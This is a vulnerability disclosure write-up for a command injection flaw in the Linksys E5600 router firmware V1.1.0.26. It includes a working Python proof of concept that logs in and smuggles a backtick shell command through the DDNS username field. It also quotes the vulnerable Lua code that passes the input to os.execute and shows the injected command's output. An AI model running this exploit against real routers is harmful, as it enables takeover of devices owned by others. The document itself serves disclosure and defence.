

# Linksys E5600 V1.1.0.26 command injection

## Product Information

```
1 Device: Linksys E5600
2 Firmware Version: V1.1.0.26
3 Manufacturer's website information: https://www.linksys.com/
4 Firmware download address :
  https://downloads.linksys.com/support/assets/firmware/FW_E5600_1.1.0.26_prod.
  img
```

## E5600 Downloads, Documents, and User Guide

### E5600 Downloads

The hardware version is located beside or beneath the model number and is labeled version, ver. or V. If there is no version number beside the model number on your Linksys product, the device is version 1. If you still have trouble finding your version number, see the [complete article](#) to learn more.

Select your hardware version:

▼ Version 1.0

Firmware

Ver. 1.1.0.26

Latest Date: 12/20/2021

[Download](#) 8.7 MB

[Release Notes](#)

## Affected component

Affected \usr\share\lua\runtime.lua, affected runtime.ddnsStatus DynDNS function

## Attack vector

```
1 import requests
2 import json
3
4 url1 = 'http://192.168.31.6/cgi-bin/login.cgi'
5 data1 =
  {"username":"YWRtaW4%3D","password":"MTIzNDU2","token":"","source":"web","cn
  ":"","action":"auth"}
6
7 response1 = requests.post(url1, data=json.dumps(data1))
8 print(response1.text)
9
10 url2 = 'http://192.168.31.6/API/obj'
11 headers = {
```

```

12     'Host': '192.168.31.6',
13     'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
14     'Content-Type': 'application/json',
15     'Origin': 'http://192.168.31.6',
16     'Referer': 'http://192.168.31.6/idp/idp_ping.html',
17     'Cookie': response1.headers['Set-Cookie'].split(" ")[0],
18 }
19 data2 = {"ddns":{"DdnsP":{"enable":"1","username":""," `ls>/www/20250328.txt`; #","password":"admin","hostname":"admin","provider":"DynDNS.org","system":"0","mailex":"rweed","backupmailex":"1","wildcard":"1","ip":"","status":""}}}
20
21 response2 = requests.post(url2, headers=headers, data=json.dumps(data2))
22 print(response2.text)
23
24 url3 = 'http://192.168.31.6/API/info'
25 data3 = {
26     'ddnsStatus': {
27     }
28 }
29
30 response3 = requests.post(url3, headers=headers, data=json.dumps(data3))
31 print(response3.text)
32

```

## Suggested description of the vulnerability

Linksys E5600 v1.1.0.26 was discovered to contain a command injection vulnerability in the runtime.ddnsStatus DynDNS function.

## Vulnerability Detail

When accessing the ddnsStatus function, when k.DdnsP.provider == 'DynDNS.org', the username parameter containing the "ls" command was concatenated into the cmd parameter and successfully executed via os.execute().



```

1864 elseif k.DdnsP.provider == 'DynDNS.org' then
1865     if k.DdnsP.wildcard == '1' then
1866         wcd = 'true'
1867     end
1868     if string.len(k.DdnsP.mailex) ~= 0 then
1869         mx = k.DdnsP.mailex
1870     end
1871     if k.DdnsP.backupmailex == '1' then
1872         bmx = "YES"
1873     end
1874
1875     -- 0:Custom, 1:Static, 2:Dynamic
1876     if k.DdnsP.system == '0' then
1877         sy = "custom"
1878     elseif k.DdnsP.system == '1' then
1879         sy = "static"
1880     elseif k.DdnsP.system == '2' then
1881         sy = "dynamic"
1882     end
1883
1884     --cmd = 'curl -o '..logddns..' http://checkip.dyndns.com/ > /dev/nu
1885     --os.execute(cmd)
1886     --cmd = 'cat '..logddns..' | awk \'{print $0}\'' | cut -d\'<\' -f 1'
1887     --w = assert(io.popen(cmd, 'r'))
1888     --str = assert(w:read('*a'))
1889     --ip = string.gsub(str, "\n", "")
1890     --w:close()
1891
1892     --cmd = 'curl -X GET http://members.dyndns.org/nic/update > /dev/nu
1893     --cmd = 'curl -X GET http://..'k.DdnsP.username..'..'k.DdnsP.passw
1894     cmd = 'curl --max-time 2 -X GET http://..'k.DdnsP.username..'..'k.l
1895
1896     os.execute(cmd)
1897

```

The vulnerability was verified by injecting the command `ls >/www/20250328.txt` into the `username` parameter, as shown in the figure below. The result of the `ls` command was successfully displayed in the `20250328.txt` file located in the router's `www` directory.

```

1
l?apcli_ifname?bin?br_name?dev?etc?lib?libmapd?main_ifname?media?mnt?overlay?proc?rom?root?sbin?sys?tmp?usr?var?www
apcli_ifname
bin
br_name
dev
etc
lib
libmapd
main_ifname
media
mnt
overlay
proc
rom
root
sbin
sys
tmp
usr
var
www

```

